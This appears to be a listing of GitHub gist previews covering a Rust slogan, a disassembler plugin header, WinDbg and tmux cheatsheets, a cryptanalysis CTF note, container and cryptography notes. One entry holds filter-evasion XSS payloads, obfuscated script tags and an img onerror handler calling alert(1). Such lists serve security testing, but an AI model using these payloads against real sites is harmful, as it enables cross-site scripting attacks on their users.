0atman

Rust

Your code can be perfect

%% As developers we build critical infrastructure, it's time to build it in a language designed to build critical infrastructure. %%

dougallj

# IDA (disassembler) and Hex-Rays (decompiler) plugin for Apple AMX
#
# WIP research. (This was edited to add more info after someone posted it to
# Hacker News. Click "Revisions" to see full changes.)
#
# Copyright (c) 2020 dougallj


# Based on Python port of VMX intrinsics plugin:
# Copyright (c) 2019 w4kfu - Synacktiv

nganhkhoa

WinDbg cheatsheet

source: https://github.com/hugsy/defcon_27_windbg_workshop/blob/master/windbg_cheatsheet.md

Content

• WinDbg cheatsheet
  • Content
  • Setup
• Symbol Path

hellman

#-*- coding:utf-8 -*-

'''
In the challenge we are given a recently proposed cryptosystem
based on Mersenne primes ( https://eprint.iacr.org/2017/481 ).

The cryptosystem was broken quickly in https://eprint.iacr.org/2017/522.pdf
using random partitioning and LLL. Here this attack is implemented.

'''

FrankSpierings

Container security notes

Internet references

Kernel and architecture

• namespaces - overview of Linux namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html

• mount_namespaces - overview of Linux mount namespaces

atoponce

Cryptographic Best Practices

Putting cryptographic primitives together is a lot like putting a jigsaw puzzle together, where all the pieces are cut exactly the same way, but there is only one correct solution. Thankfully, there are some projects out there that are working hard to make sure developers are getting it right.

The following advice comes from years of research from leading security researchers, developers, and cryptographers. This Gist was [forked from Thomas Ptacek's Gist][1] to be more readable. Additions have been added from

JohannesHoppe

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

henrik

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name: